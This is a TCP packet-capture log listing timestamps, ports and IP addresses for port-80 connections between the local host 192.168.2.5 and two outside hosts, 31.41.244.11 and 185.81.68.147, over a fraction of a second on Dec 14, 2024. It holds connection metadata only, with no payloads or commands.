Dec 14, 2024 14:56:29.126661062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.127727985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.127773046 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.127823114 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.127949953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.128729105 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.128772974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.128818989 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.129163980 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.129853010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.129961967 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.130011082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.130958080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.131000996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.131059885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.131104946 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.132067919 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.132111073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.132266045 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.132353067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.133153915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.133197069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.164572954 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.212342978 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.212481022 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.212594032 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.212857962 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.213104963 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.213177919 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.213232040 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.214149952 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.214277983 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.214277983 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.215233088 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.215272903 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.215341091 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.216283083 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.216392994 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.216535091 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.217406988 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.217427015 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.217441082 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.218419075 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.218513966 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.218519926 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.219494104 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.219521046 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.219564915 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.220545053 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.220623016 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.220655918 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.221599102 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.221638918 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.221652031 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.222660065 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.222697020 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.222773075 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.223723888 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.223859072 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.223881960 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.224802971 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.224878073 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.224910975 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.225857019 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.225905895 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.225969076 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.226933956 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.227019072 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.227040052 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.227997065 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.228079081 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.228101015 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.229052067 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.229192019 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.229234934 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.230098009 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.230201960 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.230228901 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.231169939 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.231293917 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.231342077 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.232275009 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.232327938 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.232351065 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.233293056 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.233345985 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.233417988 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.234355927 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.234409094 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.234464884 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.235423088 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.235510111 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.235604048 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.236490965 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.236587048 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.236612082 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.237535954 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.237577915 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.237590075 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.238604069 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.238642931 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.238651037 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.239728928 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.239851952 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.240022898 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.240772963 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.240808010 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.240941048 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.241843939 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.241916895 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.241920948 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.242876053 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.242948055 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.243139982 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.243920088 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.244016886 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.244069099 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.245004892 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.245050907 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.245063066 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.246051073 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.246165991 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.246186018 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.247107029 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.247158051 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.247191906 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.248183966 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.248298883 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.248562098 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.249232054 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.249263048 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.249346018 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.250319958 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.250399113 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.250416994 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.251408100 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.251455069 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.251492977 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.252500057 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.252569914 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.252604008 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.253499985 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.253623009 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.253659010 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.254575968 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.254623890 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.254657984 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.255634069 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.255693913 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.255750895 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.256804943 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.256844997 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.256948948 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.257744074 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.257782936 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.257869959 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.258846998 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.258861065 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.258891106 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.259875059 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.259994030 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.260027885 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.260926962 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.261039972 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.261266947 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.262002945 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.262109995 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.262178898 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.263081074 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.263205051 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.263264894 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.264163971 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.264271021 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.264345884 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.265198946 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.265311956 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.265343904 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.266275883 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.266326904 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.266375065 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.266753912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.266803026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.266846895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.266937017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.267287970 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.267355919 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.267359972 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.267407894 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.267442942 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.267491102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.267534018 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.267644882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.267765045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.268629074 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.268668890 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.268707037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.268759966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.269742012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.269782066 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.270344973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.270389080 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.270427942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.270756960 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.270796061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.270801067 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.270839930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.271850109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.271962881 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.272002935 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.273082018 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.273226976 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.273266077 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.274313927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.274355888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.274415016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.274455070 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.275523901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.275564909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.275660038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.275702000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.276992083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.277044058 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.277189970 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.277458906 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.278261900 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.278304100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.278472900 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.278515100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.279403925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.279525995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.279567003 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.280767918 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.280807018 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.280894041 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.280931950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.281698942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.281738997 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.281778097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.281821012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.282460928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.282506943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.282532930 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.282579899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.283174038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.283193111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.283255100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.284066916 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.284120083 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.284162045 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.284208059 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.285170078 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.285228014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.285263062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.285300970 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.286299944 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.286339045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.286428928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.286570072 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.287384987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.287447929 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.287499905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.287583113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.288517952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.288621902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.288670063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.289647102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.289787054 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.289820910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.289853096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.290736914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.290783882 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.290844917 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.290887117 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.291969061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.292020082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.292066097 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.292985916 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.293031931 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.293135881 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.293178082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.294104099 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.294157028 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.294250011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.294730902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.295361996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.295408964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.295461893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.295504093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.296303988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.296343088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.296392918 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.296432018 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.297429085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.297472000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.297561884 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.297674894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.298544884 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.298590899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.298681021 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.298722029 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.299690962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.299737930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.299803972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.299860001 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.300793886 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.300832033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.300951004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.300985098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.301934958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.301969051 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.302074909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.302109003 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.303118944 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.303154945 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.303185940 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.303219080 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.304249048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.304389000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.304424047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.305458069 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.305495977 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.305543900 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.305583000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.306544065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.306579113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.306638956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.306675911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.307809114 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.307852030 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.307910919 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.307950020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.308758020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.308800936 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.308815956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.308847904 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.309685946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.309724092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.309833050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.309870005 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.310832977 CET	80	49876	31.41.244.11	192.168.2.5
